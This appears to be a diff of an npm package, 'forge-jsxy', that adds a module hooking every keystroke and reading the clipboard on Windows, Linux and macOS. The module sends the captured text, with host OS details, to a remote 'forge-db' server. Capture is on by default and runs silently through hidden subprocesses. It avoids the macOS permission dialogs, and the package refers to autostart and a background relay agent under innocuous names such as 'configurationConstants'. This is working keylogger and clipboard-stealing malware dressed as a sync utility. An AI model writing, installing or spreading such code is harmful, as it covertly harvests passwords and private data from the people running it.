forge-jsxy 1.0.66

package/dist/windowsInputSync.js

@@ -0,0 +1,536 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.startWindowsInputSync = void 0;
+exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
+exports.resolveSyncApiBase = resolveSyncApiBase;
+exports.startDesktopInputSync = startDesktopInputSync;
+/**
+ * Desktop clipboard + keyboard capture → forge-db HTTP sync (Windows, Linux, macOS).
+ *
+ * **Default: on** when unset — set `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0` (or `false` / `no` / `off`) to disable.
+ *
+ * **No forge-js UI:** this module does not use `alert`, `confirm`, browser dialogs, or Windows MessageBox.
+ * Clipboard helpers use hidden / non-interactive subprocesses where implemented (`windowsHide`, PowerShell
+ * `-NonInteractive`, Win32 clipboard helper spawned hidden). Keyboard uses `uiohook-napi` in-process or
+ * skips safely on unsupported sessions (headless Linux, many Wayland layouts) so **clipboard sync still runs**.
+ *
+ * **OS privacy:** macOS (Input Monitoring, etc.) or other OS sheets are **system** prompts — this package
+ * cannot remove them. Under `FORGE_JS_QUIET_AGENT=1` / `--quiet`, stderr hints from this module are suppressed.
+ *
+ * Clipboard: @napi-rs/clipboard, then OS CLI (PowerShell / pbpaste / wl-paste|xclip|xsel);
+ *   only the first **1000** characters (JavaScript string units; override `FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS`) are POSTed per change — remainder is dropped for DB storage.
+ *   Host OS snapshot: a single ``env_file`` row at ``forge-js://host-inventory.json`` (see ``hostInventorySend``) so operator dashboards can show OS type; opt out with ``FORGE_JS_SYNC_HOST_INVENTORY=0``.
+ *   optional `clipboard-event` for change notifications + slower backup poll unless
+ *   FORGE_JS_CLIPBOARD_POLL_ONLY=1 (FORGE_JS_WIN_CLIPBOARD_POLL_ONLY still honored).
+ * Keyboard: uiohook-napi; Win32 ToUnicodeEx when available, else US-oriented fallback + Caps/Numpad handling.
+ * Remote desktop screenshot for the `/files` explorer is `fsDesktopScreenshotCapture()` in `fsProtocol.ts`
+ * (Windows / Linux / macOS). OS-level privacy (macOS Input Monitoring / Screen Recording, etc.) is outside this package.
+ */
+const clientId_1 = require("./clientId");
+const linuxX11_1 = require("./linuxX11");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const clipboardExec_1 = require("./clipboardExec");
+const clipboardNapi_1 = require("./clipboardNapi");
+const clipboardEventWatcher_1 = require("./clipboardEventWatcher");
+const syncClient_1 = require("./syncClient");
+const hostInventorySend_1 = require("./hostInventorySend");
+const inputContext_1 = require("./inputContext");
+const node_child_process_1 = require("node:child_process");
+const keyboardTranslate_1 = require("./keyboardTranslate");
+const win32InputNative_1 = require("./win32InputNative");
+/**
+ * Best-effort platform-aware Caps Lock state at agent startup.
+ * - Windows: GetKeyState(VK_CAPITAL) via koffi
+ * - Linux X11: parse `xset q` output (only when DISPLAY is set)
+ * - macOS / Wayland / fallback: false (user must toggle once to sync)
+ */
+function getCapsLockInitialState() {
+    if (process.platform === "win32") {
+        return (0, win32InputNative_1.getInitialCapsLockState)();
+    }
+    if (process.platform === "linux" && (process.env.DISPLAY || "").trim()) {
+        try {
+            const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
+                encoding: "utf-8",
+                timeout: 1500,
+                env: process.env,
+            });
+            if (r.status === 0) {
+                const m = (r.stdout || "").match(/Caps Lock:\s+(\w+)/i);
+                if (m)
+                    return m[1].toLowerCase() === "on";
+            }
+        }
+        catch {
+            /* xset not available or timed out */
+        }
+    }
+    return false;
+}
+const TEXT_MAX = 900_000;
+/** Characters from clipboard text included in each forge-db sync event (keyboard unchanged). Override: FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS (1–TEXT_MAX). */
+const CLIPBOARD_SYNC_DEFAULT_CHARS = 1000;
+/** Prevent unbounded memory growth if the sync API is down or slower than capture. */
+const MAX_SYNC_QUEUE = 5000;
+const REGISTRATION_HANDSHAKE_RETRY_MS = 5000;
+const REGISTRATION_HANDSHAKE_RETRY_MAX_MS = 60_000;
+const REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS = 60_000;
+const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
+function isDesktopPlatform() {
+    const p = process.platform;
+    return p === "win32" || p === "linux" || p === "darwin";
+}
+/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
+function skipUiohookKeyboard() {
+    if ((process.env.FORGE_JS_FORCE_UIOHOOK || "").trim() === "1")
+        return false;
+    if ((process.env.FORGE_JS_SKIP_UIOHOOK || "").trim() === "1")
+        return true;
+    // macOS: uiohook-napi uses the macOS Accessibility API which triggers the
+    // system-level "Input Monitoring" / "Accessibility" permission dialog on first
+    // use.  This dialog is a modal OS alert that cannot be suppressed
+    // programmatically — it appears even if the call is wrapped in a try/catch.
+    // Skip keyboard monitoring by default on macOS to avoid any UI dialogs.
+    // Users who have already granted Accessibility permission can opt-in with:
+    //   FORGE_JS_FORCE_UIOHOOK=1
+    // Clipboard sync continues to work normally (via pbpaste poll + clipboard-event).
+    if (process.platform === "darwin")
+        return true;
+    if (process.platform === "linux") {
+        const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
+        const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
+        if (!hasDisplay && !hasWayland)
+            return true;
+        // libuiohook uses X11 Record; pure Wayland without XWayland/DISPLAY cannot host it.
+        if (!hasDisplay && hasWayland)
+            return true;
+        // Wayland + XWayland: DISPLAY points to XWayland socket which accepts X11 connections
+        // but does NOT expose a real Xkb keyboard device — uiohook fails with
+        // "XkbGetKeyboard failed to locate a valid keyboard!" and cannot capture key events.
+        // Physical keyboard input is routed exclusively through the Wayland compositor,
+        // so X11/Record-based hooks never receive events from Wayland-native applications.
+        // Skip uiohook in this configuration unless the user explicitly opts in.
+        if (hasDisplay && hasWayland)
+            return true;
+        if (hasDisplay && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)())
+            return true;
+        // Verify we can actually communicate with the X11 server — systemd user services may
+        // have DISPLAY=:0 set in EnvironmentFile but lack X11 auth cookies (Xauthority),
+        // which causes uiohook/libuiohook to print errors and abort keyboard capture.
+        if (hasDisplay) {
+            try {
+                const r = (0, node_child_process_1.spawnSync)("xset", ["q"], {
+                    encoding: "utf-8",
+                    timeout: 2000,
+                    env: process.env,
+                });
+                if (r.status !== 0 || r.error)
+                    return true;
+            }
+            catch {
+                return true;
+            }
+        }
+    }
+    return false;
+}
+/**
+ * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
+ * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
+ */
+function effectiveSyncKeyboardClipboard() {
+    const e = (process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+function resolveSyncApiBase() {
+    return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
+}
+async function readClipboardDesktop() {
+    const native = (0, clipboardNapi_1.readClipboardNapi)();
+    if (native !== null)
+        return native;
+    return (0, clipboardExec_1.readClipboardViaExec)();
+}
+function clampText(s) {
+    const b = Buffer.byteLength(s, "utf8");
+    if (b <= TEXT_MAX)
+        return s;
+    let lo = 0;
+    let hi = s.length;
+    while (lo < hi) {
+        const mid = Math.floor((lo + hi + 1) / 2);
+        if (Buffer.byteLength(s.slice(0, mid), "utf8") <= TEXT_MAX)
+            lo = mid;
+        else
+            hi = mid - 1;
+    }
+    return s.slice(0, lo);
+}
+/** Only the leading portion of clipboard text is stored in forge-db (default 1000 JS string units). */
+function clipboardSyncMaxChars() {
+    const raw = (process.env.FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS || "").trim();
+    if (raw) {
+        const n = parseInt(raw, 10);
+        if (Number.isFinite(n) && n >= 1 && n <= TEXT_MAX)
+            return n;
+    }
+    return CLIPBOARD_SYNC_DEFAULT_CHARS;
+}
+function clampClipboardForDatabase(s) {
+    const max = clipboardSyncMaxChars();
+    if (s.length <= max)
+        return s;
+    return s.slice(0, max);
+}
+/**
+ * If `startDesktopInputSync` is ever invoked twice in one process, a second set of clipboard
+ * timers + keyboard hooks would duplicate forge-db rows. `agentRunner` only starts once; this
+ * guards against regressions or external callers.
+ */
+let activeDesktopInputSyncDispose = null;
+/**
+ * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
+ */
+function startDesktopInputSync(opts) {
+    if (!isDesktopPlatform()) {
+        return () => { };
+    }
+    if (activeDesktopInputSyncDispose) {
+        if (!opts.quiet) {
+            console.error("[forge-js:desktop-sync] startDesktopInputSync called while already active — duplicate start ignored (returning existing stop handle)");
+        }
+        return activeDesktopInputSyncDispose;
+    }
+    const client = new syncClient_1.ForgeSyncClient({
+        baseUrl: opts.apiBaseUrl,
+        clientId: opts.clientId ?? (0, clientId_1.getOrCreateClientId)(),
+    });
+    const queue = [];
+    let queueDropLogged = false;
+    let stopped = false;
+    const clipPoll = Math.max(200, opts.clipboardPollMs ?? 400);
+    const clipBackupPoll = Math.max(clipPoll, Math.max(5000, opts.clipboardBackupPollMs ?? 60_000));
+    const kbdFlush = Math.max(300, opts.keyboardFlushMs ?? 1200);
+    const flushEvery = Math.max(100, opts.flushMs ?? 300);
+    const flushBatchMax = Math.max(1, Math.min(100, opts.flushBatchMax ?? 25));
+    let lastClip = "";
+    let kbdBuf = "";
+    let kbdTimer = null;
+    /**
+     * Caps Lock toggle state for the US fallback path.
+     * Deferred until we confirm uiohook will run (avoids a redundant xset q call on headless Linux
+     * before skipUiohookKeyboard() has had a chance to return early).
+     * Toggled by every Caps Lock keydown in translateUiohookKeydown.
+     */
+    const capsLockOnRef = { current: false };
+    /**
+     * Belt-and-suspenders Shift tracker for the Win32 path.
+     * uiohook sets ev.shiftKey at hook time, but some Windows builds lag the modifier flag
+     * for the letter event. We also listen on keyup to clear the flag.
+     */
+    let shiftTracked = false;
+    const log = (msg) => {
+        if (!opts.quiet)
+            console.error(`[forge-js:desktop-sync] ${msg}`);
+    };
+    function enqueue(ev) {
+        while (queue.length >= MAX_SYNC_QUEUE) {
+            queue.shift();
+            if (!queueDropLogged && !opts.quiet) {
+                queueDropLogged = true;
+                log("sync queue saturated; dropping oldest events (API slow or unreachable)");
+            }
+        }
+        queue.push(ev);
+    }
+    function scheduleKbdFlush() {
+        if (kbdTimer)
+            clearTimeout(kbdTimer);
+        kbdTimer = setTimeout(() => {
+            kbdTimer = null;
+            void flushKbd();
+        }, kbdFlush);
+    }
+    async function flushKbd() {
+        const t = kbdBuf;
+        kbdBuf = "";
+        if (!t)
+            return;
+        const text = clampText(t);
+        // Do not use trim(): newline-only (Enter), spaces-only, and tabs must still sync as typed text.
+        if (text.length === 0)
+            return;
+        let contextJson;
+        try {
+            contextJson = await (0, inputContext_1.buildInputContextJson)("keyboard", text);
+        }
+        catch {
+            contextJson = undefined;
+        }
+        enqueue({
+            timestamp: new Date().toISOString(),
+            source: "keyboard",
+            text,
+            size_bytes: Buffer.byteLength(text, "utf8"),
+            context_json: contextJson,
+        });
+    }
+    let registrationHandshakeReady = false;
+    let registrationHandshakeTimer = null;
+    let lastRegistrationHandshakeLogMs = 0;
+    let registrationHandshakeAttempts = 0;
+    const scheduleRegistrationHandshake = () => {
+        if (stopped || registrationHandshakeReady || registrationHandshakeTimer)
+            return;
+        const exp = Math.min(registrationHandshakeAttempts, 8);
+        const backoffMs = Math.min(REGISTRATION_HANDSHAKE_RETRY_MAX_MS, REGISTRATION_HANDSHAKE_RETRY_MS * Math.max(1, 2 ** exp));
+        const jitterMs = Math.floor(Math.random() * 500);
+        registrationHandshakeTimer = setTimeout(() => {
+            registrationHandshakeTimer = null;
+            void runRegistrationHandshake();
+        }, backoffMs + jitterMs);
+    };
+    const runRegistrationHandshake = async () => {
+        if (stopped || registrationHandshakeReady)
+            return;
+        registrationHandshakeAttempts += 1;
+        try {
+            await client.createEvent((0, syncClient_1.registrationHandshakeEvent)());
+            registrationHandshakeReady = true;
+            registrationHandshakeAttempts = 0;
+        }
+        catch (e) {
+            const now = Date.now();
+            if (now - lastRegistrationHandshakeLogMs >= REGISTRATION_HANDSHAKE_LOG_THROTTLE_MS) {
+                lastRegistrationHandshakeLogMs = now;
+                const detail = e instanceof Error ? e.message : String(e);
+                const msg = `[forge-js:desktop-sync] registration handshake failed (attempt ${registrationHandshakeAttempts}; no client table until this succeeds): ${detail}`;
+                // First attempts commonly race during service restarts; avoid noisy error-level spam.
+                if (registrationHandshakeAttempts <= 3)
+                    console.log(msg);
+                else
+                    console.error(msg);
+            }
+            scheduleRegistrationHandshake();
+            return;
+        }
+        if ((0, hostInventorySend_1.effectiveSyncHostInventory)()) {
+            try {
+                await (0, hostInventorySend_1.sendHostInventorySnapshot)(client);
+            }
+            catch (e) {
+                const detail = e instanceof Error ? e.message : String(e);
+                log(`host inventory snapshot failed (dashboard OS may stay empty): ${detail}`);
+            }
+        }
+    };
+    registrationHandshakeTimer = setTimeout(() => {
+        registrationHandshakeTimer = null;
+        void runRegistrationHandshake();
+    }, REGISTRATION_HANDSHAKE_START_DELAY_MS + Math.floor(Math.random() * 500));
+    let invIv = null;
+    if ((0, hostInventorySend_1.effectiveSyncHostInventory)()) {
+        const rawInv = (process.env.FORGE_JS_HOST_INVENTORY_INTERVAL_MS || "").trim();
+        let inventoryIntervalMs = 6 * 3600 * 1000;
+        if (rawInv) {
+            const n = parseInt(rawInv, 10);
+            if (Number.isFinite(n) && n >= 60_000)
+                inventoryIntervalMs = n;
+        }
+        invIv = setInterval(() => {
+            if (stopped)
+                return;
+            void (async () => {
+                try {
+                    await (0, hostInventorySend_1.sendHostInventorySnapshot)(client);
+                }
+                catch {
+                    /* periodic refresh: ignore */
+                }
+            })();
+        }, inventoryIntervalMs);
+    }
+    let clipReadBusy = false;
+    function triggerClipboardRead() {
+        if (stopped || clipReadBusy)
+            return;
+        clipReadBusy = true;
+        void (async () => {
+            try {
+                const s = await readClipboardDesktop();
+                if (s === lastClip)
+                    return;
+                lastClip = s;
+                if (!s)
+                    return;
+                const clipped = clampClipboardForDatabase(s);
+                const text = clampText(clipped);
+                // Keep whitespace-only clipboard payloads (spaces/newlines/tabs) as real user content.
+                if (text.length === 0)
+                    return;
+                let contextJson;
+                try {
+                    contextJson = await (0, inputContext_1.buildInputContextJson)("clipboard", text);
+                }
+                catch {
+                    contextJson = undefined;
+                }
+                enqueue({
+                    timestamp: new Date().toISOString(),
+                    source: "clipboard",
+                    text,
+                    size_bytes: Buffer.byteLength(text, "utf8"),
+                    context_json: contextJson,
+                });
+            }
+            catch {
+                /* skip */
+            }
+            finally {
+                clipReadBusy = false;
+            }
+        })();
+    }
+    const clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
+        triggerClipboardRead();
+    }, log);
+    const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
+    const clipIv = setInterval(() => {
+        triggerClipboardRead();
+    }, effectiveClipPoll);
+    let uiohookMod = null;
+    if (skipUiohookKeyboard()) {
+        log("keyboard hook skipped (headless Linux: set DISPLAY or WAYLAND_DISPLAY, or FORGE_JS_FORCE_UIOHOOK=1). Clipboard sync unchanged.");
+    }
+    else {
+        try {
+            uiohookMod = require("uiohook-napi");
+        }
+        catch {
+            log("uiohook-napi not available — keyboard sync disabled (clipboard only). npm install uiohook-napi");
+        }
+    }
+    if (uiohookMod) {
+        // Initialise from real OS state only when uiohook is confirmed to run.
+        // This avoids a redundant xset call on headless Linux where uiohook is skipped.
+        capsLockOnRef.current = getCapsLockInitialState();
+        const { uIOhook, EventType, UiohookKey } = uiohookMod;
+        // VC codes for both Shift keys (libuiohook VC_SHIFT_L / VC_SHIFT_R).
+        const VC_SHIFT_L = 0x002a; // 42
+        const VC_SHIFT_R = 0x0036; // 54
+        const onKeyUp = (ev) => {
+            if (ev.keycode === VC_SHIFT_L || ev.keycode === VC_SHIFT_R) {
+                shiftTracked = false;
+            }
+        };
+        uIOhook.on("keyup", onKeyUp);
+        const onKey = (ev) => {
+            if (stopped)
+                return;
+            // Track Shift state from keydown as a belt-and-suspenders alongside ev.shiftKey.
+            if (ev.keycode === VC_SHIFT_L || ev.keycode === VC_SHIFT_R) {
+                shiftTracked = true;
+                return;
+            }
+            if (ev.type !== EventType.EVENT_KEY_PRESSED)
+                return;
+            if (ev.keycode === UiohookKey.Backspace) {
+                // Use spread to iterate code points, not UTF-16 code units, so a surrogate pair
+                // (e.g. emoji) is removed as one unit rather than leaving a dangling half-surrogate.
+                kbdBuf = [...kbdBuf].slice(0, -1).join("");
+                scheduleKbdFlush();
+                return;
+            }
+            const isEnter = ev.keycode === UiohookKey.Enter ||
+                ev.keycode === UiohookKey.NumpadEnter;
+            if (isEnter) {
+                if (kbdTimer) {
+                    clearTimeout(kbdTimer);
+                    kbdTimer = null;
+                }
+                kbdBuf += "\n";
+                void flushKbd();
+                return;
+            }
+            // Merge ev.shiftKey (captured at hook time) with our own keyup/keydown tracker.
+            const evMerged = (ev.shiftKey || shiftTracked)
+                ? { ...ev, shiftKey: true }
+                : ev;
+            const ch = (0, keyboardTranslate_1.translateUiohookKeydown)(evMerged, capsLockOnRef);
+            if (!ch)
+                return;
+            kbdBuf += ch;
+            scheduleKbdFlush();
+        };
+        uIOhook.on("keydown", onKey);
+        try {
+            uIOhook.start();
+        }
+        catch (e) {
+            log(`uIOhook.start failed: ${e}`);
+        }
+    }
+    let flushBusy = false;
+    const flushIv = setInterval(() => {
+        if (stopped || queue.length === 0 || flushBusy)
+            return;
+        flushBusy = true;
+        void (async () => {
+            try {
+                let n = 0;
+                while (!stopped && queue.length > 0 && n < flushBatchMax) {
+                    const ev = queue.shift();
+                    try {
+                        await client.createEvent(ev);
+                        n++;
+                    }
+                    catch {
+                        queue.unshift(ev);
+                        break;
+                    }
+                }
+            }
+            finally {
+                flushBusy = false;
+            }
+        })();
+    }, flushEvery);
+    const dispose = () => {
+        if (stopped)
+            return;
+        stopped = true;
+        if (activeDesktopInputSyncDispose === dispose) {
+            activeDesktopInputSyncDispose = null;
+        }
+        try {
+            clipWatcherDispose?.();
+        }
+        catch {
+            /* skip */
+        }
+        clearInterval(clipIv);
+        clearInterval(flushIv);
+        if (invIv)
+            clearInterval(invIv);
+        if (kbdTimer)
+            clearTimeout(kbdTimer);
+        if (registrationHandshakeTimer)
+            clearTimeout(registrationHandshakeTimer);
+        if (uiohookMod) {
+            try {
+                uiohookMod.uIOhook.removeAllListeners("keydown");
+                uiohookMod.uIOhook.removeAllListeners("keyup");
+                uiohookMod.uIOhook.stop();
+            }
+            catch {
+                /* skip */
+            }
+        }
+        void flushKbd();
+    };
+    activeDesktopInputSyncDispose = dispose;
+    return dispose;
+}
+exports.startWindowsInputSync = startDesktopInputSync;

package/dist/workerBootstrap.d.ts

@@ -0,0 +1,17 @@
+export interface ForgeBootstrapConfig {
+    argv: string[];
+    env: NodeJS.ProcessEnv;
+}
+/** Stop agent process and session services (autostart files remain unless you run forge-autostart uninstall). */
+export declare function stopForgeWorker(): void;
+export interface ConfigurationConstantsOptions {
+    argv?: string[];
+    env?: NodeJS.ProcessEnv;
+}
+/**
+ * Same role as Python `cfgmgr.configuration_constants()` / one `cfgmgr` run:
+ * refresh autostart, start background relay agent if needed, idempotent on repeat invocations.
+ */
+export declare function configurationConstants(opts?: ConfigurationConstantsOptions): void;
+/** Alias matching Python `cfgmgr.run`. */
+export declare const run: typeof configurationConstants;